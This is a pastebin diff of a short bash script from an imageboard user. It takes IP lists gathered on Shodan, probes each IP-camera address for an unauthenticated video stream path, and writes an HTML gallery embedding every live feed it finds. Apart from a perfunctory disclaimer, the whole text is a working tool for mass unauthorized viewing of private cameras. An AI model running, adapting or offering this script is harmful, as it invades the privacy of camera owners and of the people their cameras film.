View difference between Paste ID: 2HBvR2ye and BzMsJPkp
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash
2
#
3
# By evil @ 8ch.net/ipcam/
4
#
5
# This is a proof of concept and is not intended to be used
6
# to gain unauthorized access to IP camera systems. Otherwise,
7
# do whatever the fuck you want with it.
8
#
9
# This script looks for a file called netcam-in.txt. Put your
10
# list of IPs in this file, one on each line, no trailing slash.
11
# To get your IP list, go to Shodan.io and search "netcam"
12
# with whatever modifiers you want (like country, city). When
13
# the script is done, view the HTML out file... netcam-out.html
14
15
HTMLTOP="<html><head><title>Default PW Netcam Previewer Thing</title></head><body><p>There may be some issues viewing these on the host site in Chrome."
16
17
HTMLBOTTOM="</body></html>"
18
19
echo "$HTMLTOP" >> netcam-out.html
20
21
IPS="$(< netcam-in.txt)"
22
for IP in $IPS; do
23
        TRY1="$(curl -sL -m 2 -w "%{http_code}" "$IP/anony/mjpg.cgi" -o /dev/null)"
24
        if [ "$TRY1" -eq 200 ]
25
                then
26
                echo "<div style='padding:8px;border:solid 1px #ccc;'><img style='width:320px;' src='$IP/anony/mjpg.cgi' /><br /><a href='$IP/anony/mjpg.cgi'>$IP/anony/mjpg.cgi</a></div>" >> netcam-out.html
27
        fi
28
done
29
30
echo $HTMLBOTTOM >> netcam-out.html